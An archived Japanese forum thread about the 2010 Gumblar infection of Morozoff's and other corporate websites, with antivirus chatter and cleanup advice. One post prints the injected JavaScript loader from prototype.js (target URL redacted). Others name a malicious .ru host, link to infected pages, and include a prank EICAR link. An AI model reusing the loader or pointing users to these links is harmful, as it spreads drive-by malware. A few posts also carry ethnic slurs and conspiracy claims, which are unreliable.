http://tsushima.2ch.net/test/read.cgi/news/1262676357/l50

>>237
昔は２ちゃんのリンクなんて半分はウイルスだったろ

楽画喜堂さんのHPみるとこれの前(同時期？)に個人のHPでもこれに感染していたようだな

>>268
新参乙。
それを言うなら”半分がブラクラ”だ。

プリンが食いたくなるな

>>269
GENOウィルスは感染した人が管理してるHPも感染するんで、
同人関係の個人に物凄い勢いで蔓延して同人板じゃパニック状態だった。
同人連中はセキュリティやHTMLのスキルが低すぎたのと、
同好の仲間のサイトを相互閲覧する頻度が高かったのが災いした。
さらに感染にパニクって、感染の事実を知らせない奴が多く、
同人連中のモラルの低さを露呈すると共に、蔓延するのを助長した。

参考までに、当時のパニックと慌てぶりが失笑と涙を誘うスレを貼っとく。

【管理も】同人サイト・GENOウィルス注意【閲覧も】
http://changi.2ch.net/test/read.cgi/doujin/1242391122/

諸ゾフの「お詫び」が無いのかよ

モロゾフはプリンよりもレアチーズケーキが美味いンだぜ？

>>274
ここでお菓子の評判を書くべきじゃない。
検索してモロゾフに行き当たったら大変だ！

NHK

NHKｷﾀ━(ﾟ∀ﾟ)━!!!

NHKﾇｰｽｷﾀｰ

NHKきたああああああああああああ

いまNHKでニュースたってるよ　なんかHPが書き換えられたんだって

モロゾフ「これまでに感染が確認された例はない」


ノ

許さん絶対にだ

ほう、ニュースきたか

被害者面ワロタ

許さないリストに追加だな

モロゾフが被害者だったのは今朝までで、そっからは加害者なのになｗ

モロゾフ謝罪無しっすか？ｗ

絶対に許さない

モロゾフオワタ＼(＾o＾)／

avastの回避率はなにげに高いな

>>273
http://www.morozoff.co.jp/_cms_/news_item/detail/item00085.html

昨日の夜モロゾフを踏んだ時には反応しなかったくせに
このスレに貼られたコードには大激怒するノートン△

>>287
公式見ろ

踏んだんだけど、重くて真っ白のまますぐ引き返したから
今回のモロゾフとは関係なかったのかな？

avast で検出されたのは

JAVA_BYTEVER.S　JAVA_BYTEVER.BD

だったから。

踏むなよ！絶対に踏むなよ！雰囲気に押し流されても絶対に踏むなよ！絶対だぞ！踏んだら駄目だからな！踏んだらおしまいだからな！踏むなよ！

avast先生おるけど見るのはやめとくか

踏んだら孕んだ！

神戸市東灘区に本社がある洋菓子メーカー「モロゾフ」によりますと、
会社のホームページが何者かに不正に書き換えられ、４日の午後７時半ごろから５日の午前中にかけて、
ホームページを開いてクリックなどの操作をすると、コンピューターウイルスに感染するおそれがあったということです。
モロゾフでは、５日の午前９時半ごろに社員が異常に気づき、昼ごろまでにウイルスを駆除したということです。
モロゾフによりますと、この間、３７００件のアクセスがありましたが、これまでに感染が確認されたケースはないということです。
モロゾフでは、今後、ホームページに、ウイルスに感染した場合の駆除の方法を掲載することにしています。
また、神戸市のラジオ局「ラジオ関西」の東京支社が管理するホームページも、先月中旬、別のコンピューターウイルスに感染し、
駆除しましたが、「ラジオ関西」によりますと、このホームページにアクセスして感染したケースはなかったということです。
http://www.nhk.or.jp/news/k10014803771000.html

ニュースwebでもきたー
http://www.nhk.or.jp/news/t10014803771000.html

クリックしてないのにjaneひらいただけで反応しやがった

>>291
ゆうべだろ？
うちのノートン先生は遮断してくれたよ。

>>297
感染者なしで済んだらしいからもう終了な
いつまでも騒ぐのはみっともないぞ

>>297
＞４日の午後７時半ごろ

やっぱりそうなのか
昨日スレ建った時に見たけどウイルス検出されなかった

>>297
> これまでに感染が確認されたケースはないということです。

感染した人は駆除で大わらわで申告する暇ねーんだよ

＞３７００件のアクセスがありましたが、これまでに感染が確認されたケースはない

これは何言ってんの？

モロゾフで子藪思い出したけどあの動画ようつべにないな

感染した奴は確実に居るんだから謝罪するのが常識だろ
もうモロゾフでは絶対に買わん

>>297
＞これまでに感染が確認されたケースはないということです。

おい、嘘言うなｗ

謝罪と賠償まだ〜？

>>290
＞お手持ちのウィルス駆除ソフトを最新の状態にして、ウィルススキャンを実施することをお願いいたします。
＞また、各セキュリティ対策ソフトのホームページにあるオンラインスキャンをお試しください。

ウィルスの種類・名称を言わなきゃ各人のセキュリティソフトが対応してるかどうかも判らんし、
PC内が改ざんされていたら、スキャンと駆除するだけじゃ無意味。
もうね、こういうレベルの企業は自社HPを持つなよと。


でもホンダも最初は同じような告知だったんだよなあｗ

>>300
あれ、じゃあ俺のノートンがおかしいのか
それとも俺のOSがvistaなのも関係あるのかな

俺19時ごろ踏んだけど、その時点では問題なかったってことかな？

詳しい人　教えてほしい
誰かにハッキングされたってこと？

カスペル君ってどうなの？ avastに入れ替えた方が良い？
こんなのもあてにならないか？　http://www.bestsecurity.jp/

無責任ってレベルじゃねーぞ

>>313
カスペは別にいいんじゃないか
ZEROとかバスターのような役立たずじゃないだろうし

>>315　
ありがとう
こちらの書き込みを見ていると avast が反応するのに
おれのカスペル君は 黙ったままだったので不安になっていた

感染してないと言い切れるのか

意図的に感染した俺涙目の展開か・・・

更新する度にAVGがうるせえ
誰だコードはったバカ

モロゾフのせいで10年連れ添ったAVGと別れることになった
謝罪と賠償

>>311
感染済み、セキュリティソフト未対応であった可能性大。

>>317
言いきってるというかモロゾフ側が「確認できてない」だけ。
ν速民だけでも10人以上が感染してる。

>>316
もうサイトが改善されてるから大丈夫

NHKでまたきた

NHKｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!
ウイルススキャン2時間3つ感染したがなしとはいかに

NHKで感染確認は無しって言ってるぞ！おまえら！
はやく感染報告しとけ

NHKで今のところ誰にも感染させてないって言ってたからもう大丈夫だな

感染報告なしとか・・・

感染者なしって言ってたぞ

全力で行くか？

＞社員が異常に気付き。
上手い言い方だ。

CODE 1やらGNUやらコメントしてある8080インジェクションのと
Gumblarは厳密には違うウイルスなんじゃ？

在日繋がりでNHKに火消し依頼か・・・

絶対に許さない

>>290
よし
もう許した

ウィルスかかってたやついたよね？
なんで何もなかったことになってるの？

モロゾフのサイトを開く前にこのスレを開いた時点で警告が

＞社員が異常に気づき、昼ごろまでにウイルスを駆除した

＞この間、３７００件のアクセスがありましたが、これまでに感染が確認されたケースはない

感染が確認されたケースはないって、どうやって判断したんだ？ｗ

>>313
カスペ（niftyの無料のだけど）で異常なしだったがavastで見つかった。
常駐させとく事にしたよ。

ドサはタイヘンっすね(ワラ
Mac http://apple.jp/
Ubuntu http://ubuntulinux.jp/
FreeBSD http://freebsd.org/ja/

感染経緯は調査しないのかよ。

>>321
ノートンなんだけど、反応なしだったな。反応したって人もいれば、俺と同じな人もいるし。タスクのプロセスにtmpがいなければ大丈夫なのかね？

とりあえずノートン消して、avast入れてスキャンか･･････

おまらいが忘れるまで全て調査中や

>>341
>■原因・経緯
>現在調査中です。原因が分かり次第、こちらに告知いたします。

どこから感染したのか明確にしてくれるらしい

>>342
5時代か6時くらいに踏んだけど異常なしだった

>>310
古いノートンは情報とりにいくの１日１回だから、そのせいかも。
新しいやつは１０分に１回だったかな。

何気に事態が大事だったでござるの巻

被害者居ないってどういうことｗ

>>345
セキュリティソフトは何すか？

昨日から見てたけど結局誤検出じゃなかったのか

あ、やっぱりノートンか

ノートン使ってるのに>>120の画像にある「遮断したよ」メッセージもらえないやつは、古いんだから検出できなかったんだと理解すべき。

MSEでは発見出来ない。
NHKカスペで最新版でスキャンしたんだろうな？コラ

結局モロゾフコップスレ立てた奴がトロイばらまいた犯人なの？
あいつのせいで公式見ちゃったし、すげーむかつく
そこまでアクセス多くなさそうなサイトにあんなタイミング良くトロイが出てくるなんておかしくね？
仕掛けたのは2ちゃんねらーなの？

>>346
俺のノートンは360だから＾＾；

>>349
ごめん、AVG使ってたｗ
でavast入れて検索したけど何も出なかったよ
早い時間にはまだ改竄されてなかったんだと思う
7時はわからないけど

>>354
スレ自体は日経ネットの1/4の記事をもとにしてるから・・・
スレが建ったのを見てモロゾフ書き換えてる可能性はありかもな。

>>337でスレ立てろよ。
在日企業追い込めや！

>>304
何千人ものお客さんにアクセスされてるのに
一人としてウイルス感染をさせなかった見事なセキュリティを誇るお菓子屋さんてことだな

モロゾフでグーグル大先生で検索すると滅茶苦茶重いのは気のせいか

>>342
似たような状態だわ
昨日の24時頃TOPページ踏んで重かったからすぐ閉じたが直後adobe更新通知が起動した。
ノートンでフルスキャンしたが検出されず、プレセスにtmpもなし。
とりあえずavast入れるのがベストなのかな。

>>354
>あいつのせいで公式見ちゃったし、すげーむかつく
なんでお前みたいなガキがニュー速にいるのかがわからん
VIPでもまとめブログでもいいから帰って寝ろ

全力でいくか

http://www.nifty.com/security/vcheck/
カスペエンジン

これで駆除も出来る。これで検索したら出てきたわ

大正十五年のバレンタインだかっていう本読んだんだが、オリジナル追い出したのが戦前の資産家だったら、在日企業じゃないんじゃないか？

おまえらホントに実害ないのか？
久々にプァーンプァーン聞きたくなってきた

>>361
俺も即閉じた
AVG、avast!のスキャン試したが今のところ何も異常は見当たらないない

test

巧妙に偽装されていないダイバージェンス・イヴスレ

>>322
うん、ありがとう

>>339　
共存可能なんだね　おれも常駐させるよ

>>370
やめて！

>>370
共存はリスクがあるからやめとけ
どうしても一緒に入れたいなら常駐切って定期スキャンにしろ

問題を起こしても無視するような企業なら
洋菓子で不祥事があってももみ消してそうだから
もうモロゾフでは買わない。

×感染が確認されたケースはない
○感染して苦情の突を入れたヤツがいない

これが真相だろ

>>371
>>372
情弱過ぎでスマン　共存はやめときます

3700件を個別に調べ上げたのかと

えー、「おまえんとこのサイト見たらウィルスに感染したぞ」って電話いれたらお詫びにプリン詰め合わせでももらえるかな。

>>377
ウイルス入りのプリンが送られてきます

>>374
感染して苦情の突を入れたヤツがいない

じゃなくて
感染して苦情出したやつの言い分は聞こえない都合のいい耳・・・と思われ
ゼロってことはないだろさすがに

おいおいモロゾフググっただけでアウトってまじかよ！

とりあえず該当時間内にＵＲＬ踏んじゃった奴は文句言っていいんじゃない？

履歴のキャッシュ消して下さい再びか

スレ開いただけでavast先生が奇声上げたんだけど？

>>377
昔花王？のサイトでプレゼントに応募したらアドレス流出で流失した顧客の
アドレスからウイルスメール送りまくる被害にあったときそこのメーカーから
お詫びのせっけん送られてきたことあるｗ
知らない人から「ウィルス送りつけやがって死ね！」「おたくのメール流出してますよ」
というメールがたくさんきた

しばらく前から常駐avast＆MSE・非常駐Aviraの環境を試してるところだったので
踏んだけど問題なし

>>383
ν速は悪いもので満ちてるからな

>>384
ウィルスメールに返信するやつなんてほんとにいるのかｗ

モロダシ

フジのニュースでやってる

間違えた　NHK関西だった

■お願い事項
　対象期間中、弊社ホームページにアクセスされた場合、ウィルスに感染する可能性があります。
　感染したパソコンでは、お客様の意図しないサイトへ誘導される可能性があります。

　お手持ちのウィルス駆除ソフトを最新の状態にして、ウィルススキャンを実施することをお願いいたします。

　また、各セキュリティ対策ソフトのホームページにあるオンラインスキャンをお試しください。

他人だより過ぎるだろ
セキュソフト配れや

サイトを改ざんされる意味がわからない。
どういう理屈だよ。

お詫びにプリンをよこせ

>>385
色々なお守りで神様が喧嘩してねーか？

ひつと疑問なんだけどさ
ウイルス感染した奴がいたから今回の件発覚したんだよね？
誰も感染してなかったらニュースにすらならなかったような

>>395
セキュリティソフトが激怒したんだろ

カスペを選んだ富士通ノート最強みたいだなｗ

>>394
avast公式の方でMSEとの併用は可能といってたからね
実際今のところ問題なし
Aviraはカスタムインストールで常駐保護部分を省いてる

>>398
それで常駐は何？
アバスト？MSE？

両方だよ

ＪＲ東など５社ＨＰに新型ウイルス　閲覧者も感染の恐れ
http://www.asahi.com/national/update/0105/TKY201001050398.html
不正改ざんが確認されたのはホンダ（東京都）、ＪＲ東日本（同）、
信越放送（長野市）、ラジオ関西（神戸市）、モロゾフ（同）の５社。


なんだ流行ってるならしょうがないなｗ

アヴィラ先生にはガッカリだ・・・

なーんだMSEは反応なしか。開いちゃって損したよ

とったどー
またとったどー

全うな公式サイトさえもウイルスの温床になってるこんな世の中じゃ

もう直ってる

ｵｲﾗが見た時間より後に改ざんざれたみたい。
感染してなかった。
でもバスターが反応しないのでavastに乗り換えた。
ちょうど今月が更新だったのでちょうど良かったと思ってる。

バスターよ今までありがとう。

おおう
昨夜管理者にメールで報告してやったもんだけど
ごめんなさいメールが夕方に届いてたわ、もう許した。
さっそく明日は大きい方のプリン買おう

>>408
ウィルス入りプリンを食べさせられるぞ

408が新型インフルに犯される日

http://knnn4321.chips.jp/hpblog/p-18044.html
avastがサイレンならしてトロイを検出したけどヤバイ？
ちなみに辻のページ

>>411
遮断しました: Trojan-Clicker.JS.Iframe.db

カスペ激怒

>>411
やばいと思うならそのままURL張るんじゃねーよカスｗ

>>411
"/js/prototype.js"にいるな

>>411
危険だと知ってるのになぜか踏みたくなるこの衝動…

>>411
agese通しても反応しないが
直接行ったら怒られた

どんな画面になるの？jpgくれ

>>414
(　ﾟдﾟ)ﾋﾞﾝｺﾞｰ

>>414
そのままVTに投げてみた。
ttp://www.virustotal.com/analisis/3c051c6c796c85b23e8c8e9aad703164a7d07a9110c0d616b092be232bd268d9-1262700079
File prototype.js received on 2010.01.05 14:01:19 (UTC)
Current status: finished
Result: 4/41 (9.76%)

また「.ru」なのね。

>>411
ものすごく踏みたい

>>411
辻ちゃんのサイトがトロイに感染
http://tsushima.2ch.net/test/read.cgi/news/1262698533/

prototype.jsのケツにきっちり居た（　´∀｀）モロモロ

/*GNU GPL*/
try{
window.onload= function(){
var Map0c7i5b0 = document.createElement('scrpt');
var I84yq1f6p6 = 'Vpujlesf3sid';
Map0c7i5b0.setAttribute('type', 'text/javascript');
Map0c7i5b0.setAttribute('src', '■怪しげなURL■');
Map0c7i5b0.setAttribute('defer', 'defer');
Map0c7i5b0.setAttribute('id', 'Kvt6qn9to0b3bo');
document.body.appendChild(Map0c7i5b0);
}}
catch(Ucvvfdfc0ecf) {}

辻ちゃんのサイトがトロイに感染
http://tsushima.2ch.net/test/read.cgi/news/1262698533/l50

aguse蹴られてるっぽい。＞ｚｉｎｇ-ｖｎ.Ｇｏｏｇｌｅ.ｂｇ.ｗａｒｅｚ-ｂｂ-ｏｒｇ.ｓｕｅｓｉｔｅ.ｒｕ:８０８０

>>364
これでスキャンしたけど何も出ないぞ
最強伝説のOperaで開いたから大丈夫だったのか

NOD32最強伝説

/opera.com/opera.com/google.com/mybestyouxi.cn/woot.com/
URLのこれはつけないが正解？

avastは反応するけど、NAVが反応しない orz

NAVはjpgを落とすところで反応した

で、結局pdfをダウンロードさせて、
acrobatの脆弱性を突くの？

>>429
そこ知りたいね。

>>361　>>367　が書いてるのと同じように、
自分も踏んでしまったけど重くて白い画面のまま即引き返した。
avast　入れてみてスキャンしたけど検出は無かった。
PDFの画面が開くのかどうか。
モロゾフのトップ画面も普通に出るのか。
スレ見てると最下部の　＜スクリプト＞　タグが悪いみたいだけど
真っ白のままだと最下部まで読み込まなかったということなのだろうか。

PDFだけじゃないよ

仕事(トロイ本体導入)をするのはＪＳみたいですよ
リーダーのＪＳも狙われてるみたい

小学生に仕事させるのか
その女の子に・・・

(^u^:)　ユッ

昨日踏んだZERO使いだけど何の反応もなかった・・・
今avastで検索したら一個トロイ出てきた
マジで怖いんだが・・・

モロゾフ潰れないかな

ハニーポットなう

ヒント：セキュリティゼロ

http://pc11.2ch.net/test/read.cgi/sec/1259607683/405
今北さん用、GENO（Gumblar）ウイルス対処法。

行っておくべき事項を箇条書きにしました。
細かなことは他にもいろいろありますが、とりあえず以下を実施して下さい。

(1）Microsoft Update（Windows Update）を実行しシステムを最新の状態にする
(2）Adobe Readerを最新版に更新する
(3) Adobe ReaderのAcrobat JavaScriptを無効に設定
(4) JRE(Java Runtime Environment)を最新版に更新する
(5) Flash Playerを最新版に更新する
(6) QuickTimeを最新版に更新する

(1)〜(4)を行っていれば、現時点で改ざんサイトを閲覧してもウイルスには感染しない。
攻撃コードは変化する可能性もあるので、念のため全て行っていただきたい。
Adobe Readerなどのアップデート方法については下記のトピックスを参照のこと。
Acrobat JavaScriptを無効にする方法は以下の通り。

(1）Adobe Readerを起動し[編集]メニューの[環境設定]を選択
(2）「分類」の中の「JavaScript」を選択
(3）「Acrobat JavaScriptを使用」のチェックをクリア
(4）「OK」ボタンを押す

ここもヤバイ。トロイか？
www.biwako.ne.jp/~kohsoku/

>>440
ソースに<script>/*GNU GPL*/ tryがあるな

モロゾフのはトップページでトロイ検出したの？
一昨日の夜踏んだのに何も反応ないしスキャンして何も出なかったから心配だったけど＞avast
>>439
アドビリーダーとクイックタイム使ってないしフラッシュプレーヤー最新だったから良かったって事？

MSE更新してスキャンかけたらTEMPにしっかり入ってた。
常駐じゃ検出できんのか、コレ？

怪しいURLを踏むなよ情弱どもｗ
URLを読めば信用できるかどうか判るだろ。

ウィルスバスターで有名なトレンドマイクロ社のトロイ特別検出サイトだ。
こういうURL見て確実に安全だと判るのだけ踏んでろ。
http://www.trendmicro.com/ftp/products/eicar-file/eicar.com

もう何も信用できねーよ

HP改ざんされたウイルス対策ソフト会社ってトレンドマイクロじゃなかった？

>>444
情強装っているお前が一番の情弱だｗ
JRの公式サイトでさえウィルス貼られていたくらいだからな。
どこも信用できないから自衛するしかないわ。

trendmicroをNG指定したわ
まぁ迷惑ばかりかける糞会社だし広告も不愉快なんで丁度良い

>>444はテストウイルスだろ

モロゾフとかこの板で初耳だったわ

このスレひらいたらavast起動してビビッた

まだやってたのかｗｗｗｗ
飽きない連中だなｗ

>>444
クズに一票

で、aviraタンは対応したのかね
恐くてwebサーフィンできんがな

ここ見てたらノートンアンチウイルス2009が高レベルの危険を探知した
www.puzzue.com/mv/

2ちゃんのログフォルダを除外してない男の人って

>>455
トロットロだな

流石にうんざりしてきたお。。。

いったい何が始まってるというのだ
はたらきものよ！

>>454
個々のウイルスには対応済み

>>460
トンクス
aviraがavastに勝てる日は来るんだろうか

>>443
>>MSE更新してスキャンかけたらTEMPにしっかり入ってた。

定義のバージョンを168以上に更新しないと、反応しなかった希ｶﾞｽ

モロゾフのクリスマスケーキうまかった。

プアーン　　　ﾌﾟｧｰﾝﾌﾟｧｰﾝ　　　　　　　　　　　　　　　　　　　　　　　　　　　　　ﾌﾟｧｰﾝﾌﾟｧｰﾝ
　　　　　　　　　　　　　　　　　　ﾌﾟｧｰﾝﾌﾟｧｰﾝ
　　　　　　　ﾌﾟｧｰﾝﾌﾟｧｰﾝ　　　　　　　　　　ﾌﾟｧｰﾝﾌﾟｧｰﾝ　ﾌﾟｧｰﾝﾌﾟｧｰﾝ
　ﾌﾟｧｰﾝﾌﾟｧｰﾝ　　　　　　　　　ﾌﾟｧｰﾝﾌﾟｧｰﾝ　　　　　　　　　　　　ﾌﾟｧｰﾝﾌﾟｧｰﾝ
　　　ﾌﾟｧｰﾝﾌﾟｧｰﾝ　　　　　　　　　　　　　　　　　　ﾌﾟｧｰﾝﾌﾟｧｰﾝ
　　　　　　　　　　　　　ﾌﾟｧｰﾝﾌﾟｧｰﾝ
ﾌﾟｧｰﾝﾌﾟｧｰﾝ　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　ﾌﾟｧｰﾝﾌﾟｧｰﾝ　　
　　　　　　　　　　　　　　　ﾌﾟｧｰﾝﾌﾟｧｰﾝ　　　　　　　　　　　　ﾌﾟｧｰﾝﾌﾟｧｰﾝ
　　　　ﾌﾟｧｰﾝﾌﾟｧｰﾝ　　　　　　　　　　　　　　　　　　　　　ﾌﾟｧｰﾝﾌﾟｧｰﾝ　　　ﾌﾟｧｰﾝﾌﾟｧｰﾝ

今日の産経新聞にモロゾフウイルスの事が載ってたんだが、
感染者は居ないだと？
この記事書いた奴出て来い！

MSEとavastって一緒に入れておいてもいいんだ
入れておこう

MSEってスキャンしない限りと駆除してくれないね
他の対策ソフトだとHPアクセスした段階で何かしらのアクションしてくれるの？

スレ開けたらアバスト先生が反応したぞ！

avastのver5でも大丈夫？

ソース張ったカス死ねボケ
プァプァうるせーんだよ

>>470
ログディレクトリを除外してないってあーた

>>465
書いた奴というかモロゾフがそう発表したってことだよね
そこに突っ込めるマスコミはいないのかのぅ

>>472
委託業者が感染者は居ないって言って、それを鵜呑みにしてるんじゃね。
モロゾフみたいなお菓子屋に分かってる人間はいないだろ。

モロゾフ

なんか今VIPでトロイ配ってるよ

>>475
kwsk

>>473
もうこれからはIT担当として1社に1人ν速民を雇わないといけない時代だな

>>475
VIPのスレ一覧見ようとしたらavast先生に怒られたんだが…
誰かｋｗｓｋ

原因
http://yutori7.2ch.net/test/read.cgi/news4vip/1262741997/

>>479
aguse通しても先生がお怒りになる…
誰か説明してくれ

>>476
さっきまでトロイですよー接続切りましょーって何度も出ただけ
今は反応しなくなってる

NOD32最強

>>480
>>481
スレタイにコードを書いたものがあって、それを誤検知した
問題のスレは既にdat落ち

>>483
なるほど
avast先生は切っておきましょう

>>484
切らなくてもいいじゃない

まだ配布してんのこれ？

今日の朝日の朝刊に載ってた

{ e v a l ( u n e s c a p e ( ( ' S c r i p t ( t , ' % ' ) ) ) } ) ( / . / g ) ;
上記のような誤検出させるウイルスコード（無害）の警告を出さないようにする方法

http://pc11.2ch.net/test/read.cgi/sec/1261930389/3
■2chのスレを2chブラウザで開くとウイルスを検出する

Q．2chのスレを開くとウイルスを検出します。
A．ただのテキストのコードなのでウイルスに感染することはありません。
　　この誤検出しないようにするには、以下の対策を行う必要があります。

タスクトレイのavast!アイコンをクリックして
webシールド→詳細な設定→例外タグ→追加で信頼しているサイトのURLを追加する。
例：http://*.2ch.net:80/*　（２ちゃんねるのスレッド）

標準シールド→詳細な設定→追加設定タブで
下のところにある除外設定で専ブラのログ拡張子を指定するかログフォルダ自体を指定する。
例：*.dat
例：\Logs\*

※上記で解決しない場合は以下の設定も行ってください。
avast!の標準シールド or webシールドの感度を [普通] に設定にする。
2chブラウザでWebシールドを使わないように設定
ttp://ansitu.xrea.jp/guidance/?Trap#avast

ご飯の炊き方レシピ／峠の釜めし本舗おぎのや
http://www.oginoya.co.jp/kamameshi/resipi.html
販売元のこのページを見て勇気をもらえ。大丈夫。再利用できる。

ガラス容器を使う理由｜チョコレート、チーズケーキ、プリンをはじめとする「洋菓子モロゾフ」
http://www.morozoff.co.jp/quality/pudding03.html

89 名前： マジックインキ(東日本)[sage] 投稿日：2010/01/04(月) 17:43:57.47 ID:cl7yoy3f
ttp://www.marlowe.co.jp/00puddingtop.htm
これ、酒飲み用にしてる
計量ついてるから、酒の分量を体調でわけられるし。
耐熱だからお湯割りおｋで重宝してる

純米酒　AtoZ Cup House
http://www.joppari.com/shouhin50.html
106 名前： 巾着(広島県)[] 投稿日：2010/01/04(月) 17:50:13.83 ID:QytLvPF6
貧乏な家チェックシート

・ワンカップ大関が家のメインコップだ
・毎年母ちゃんが山崎春のパン祭りに応募する
・先生が家庭訪問に来ると、今まで見たこともないような食器が出てくる
・なめ茸を兄弟で奪い合う
・おやつはチューチューで半分づつ食べるため冷凍庫がベトベトだ
・冷凍庫の霜が凄いレベルになっている
・ペットボトルに水を入れて玄関に置いてある
・本棚をガムテープで補強している
・リモコンの裏もガムテープで補強している
・シルベーヌを食べると気分は大富豪になれる
シルベーヌ↓
http://ippai.itigo.jp/i-other/bourbon-silveine.jpg

フジでｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!!

ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!!

そっこう見たけど猫の缶詰めだったぞ

ローソンもGENOウィルスにやられたぞｗ
誰かスレ立ててくれ。

http://www.jiji.com/jc/c?g=soc_30&k=2010010600664
「ガンブラー」感染の恐れ＝ローソン

　ローソンは６日、昨年末にホームページの一部が改ざんされ、
　そのページを閲覧した最大４５０人の利用者のパソコンに新型コンピューターウイルス「ガンブラー」感染の恐れがあると発表した。
　現時点で被害は報告されていないが、感染するとパスワードを読み取られたり、
　閲覧するつもりのないサイトに勝手にアクセスしたりする可能性があるという。
　同社によると、２００９年１２月２８日午前１１時２１分から３０日午前０時２０分まで、
　ホームページの採用関連の部分が改ざんされていた。（2010/01/06-16:34）

>>493
http://tsushima.2ch.net/test/read.cgi/news/1262766483/

>>494
仕事はやっｗ

ClamAV最強説

だからカスペ入れろって

>>497
カーネルモジュールのインストールが必要はアンチウイルスは使えないお・・・
NICのドライバと競合してBSOD祭

>>497
被害者増やそうとすんなｗ

５００！

GENOウイルス感染　ローソン
http://tsushima.2ch.net/test/read.cgi/news/1262766483/

>>477
想像して笑ったｗ

モロゾフ「なんかサイト見た人のパソコンの動作が
　　　　　　　　　　ちょっとおかしくなると聞いてますけどぉ〜」
ってな感じの他人事みたいな返答でイラっとした。
もう買わない。

>>503 それ本当？

GENOウイルス感染　ローソン
http://tsushima.2ch.net/test/read.cgi/news/1262766483/l50

AVG最強伝説

モッフルを調べようとしたらトロイみたいな反応が出まくってんだけど大丈夫だろうか
ttp://www.moffle.jp/

>>507
Trojan-Downloader.JS.Agent.ewh

curl -s http://www.moffle.jp/ | clamdscan -
stream: Trojan.JS-40 FOUND

----------- SCAN SUMMARY -----------
Infected files: 1
Time: 4.612 sec (0 m 4 s)

>>507
ソースの一番最後に
例の/*GNU GPL*/〜が入れられてるね

>>507
カスペ反応したぉ

>>507
aguseにぶち込んだが反応なし

>>512
検出されたウイルス（ワーム、スパイウエア）

Trojan-Downloader.JS.Agent.ewh

>>513
あれ？さっきチェックしたときは出なかったのに
今チェックしたら反応出た

どこもかしこもウイルスサイトだらけｗ

はいはいウイルスウイルス

被害に遭った公式サイト誰かまとめて

一日ぶりにきた
ＮＨＫニュースになったところまでは知ってるが
ほかの局もとりあげたみたいだな

もう企業公式ＨＰに行けないなｗ

//p-roi3.jp/pr_g/js/morozoff.js

これか？

はてな利用できないけどはてなもか？

>>520
それアクセス解析っぽいから別に関係無いと思う。

java が最新バージョンなら js の悪さするファイルが影響無しなのだろうか？

>>514
aguseに反応が出なくても、ソースを見てみようとするとこちらのアンチウィルス側で反応することがあるので、
それを試してみるのも手。
ソースをテキストで見る分には影響でないから。
というか、見る前のダウンロードで撥ねられるんだけど。

初めてここにレスしたけど、製品名が勝手につくんだなｗ
懐かしいわダーマトグラフ、仕事で使ってた。

ローソンまで来たか。どこまで広がるんだろうね…

機能aviraを信じて辻のページ踏んだら見事にスルーだった
後からポコポコポップアップしてきてもうっとおしいだけだ

>>525
当然踏む前にアップデートしたんだよな？

このウィルスを防ぐにはどのセキュリティ対策ソフトが一番なのだろう

スペースクラフト公式もaguseが反応した
これもか

>>528
そこもスクリプト入れられてるね
ひろがりまくり

よっくもっく　の所だっけ？

スペースクラフトでググったらMSEが反応した

現在のモロゾフは、葛野友太郎という屑が乗っ取ったのか

クズの友だお

なんで最近ウイルス流行してんの？

最近だけじゃなくウイルスはいつでもがんばってるのさ
お前が知らなかっただけでな

モロゾフ踏んで感染したってどんな挙動したんだ。
普通にサイトは表示されたのか？
それとも明らかに異変に気づくような動きがあったのか？

>>532
大正時代に乗っ取られたんじゃないの？
現在の代表取締役は川喜多佑一になってる

Space Craft Groupスペースクラフトグループ公式ホームページ。神田うの、黒谷友香、栗山千明、岩田さゆり、青山倫子、宇浦冴香、等が所属。グループ

サイト www.spacecraft.co.jp/home.html の調査結果
検出されたウイルス（ワーム、スパイウエア）
Trojan-Downloader.JS.Agent.ewh

http://www.aguse.jp/?m=w&url=www.spacecraft.co.jp%2Fhome.html+&x=36&y=9

このニュースでモロゾフの名前久々に見て食いたくなってきて買ってきた
ケーキもプリンもやっぱそこそこ美味いな
あとどっかで話題になってたウイスキーボンボンは正直あんまり美味しくないんだが

>>532
それが共同出資者。神戸の商工会から追い出されたオリジナルのモロゾフさんに紹介されたらしい。
戦前の神戸の資産家って、朝鮮人もいたのか？

>>531
http://www.aguse.jp/images/img/7e2ee4178ecc492b1fa998c47c6265d97c1ab629/fa9ee919d0637a9ddef006a7ac1d60a048b4a499.jpg

>>467
AvastのWebシールドなら

（ ´-｀）.｡oO（今回みたいなパターンで、
アンチウイルスに金払ってるのに感染しちゃった人は
どう思うのかなぁ…）

>>543
安心したっていう気持ちを金で買ってるわけだから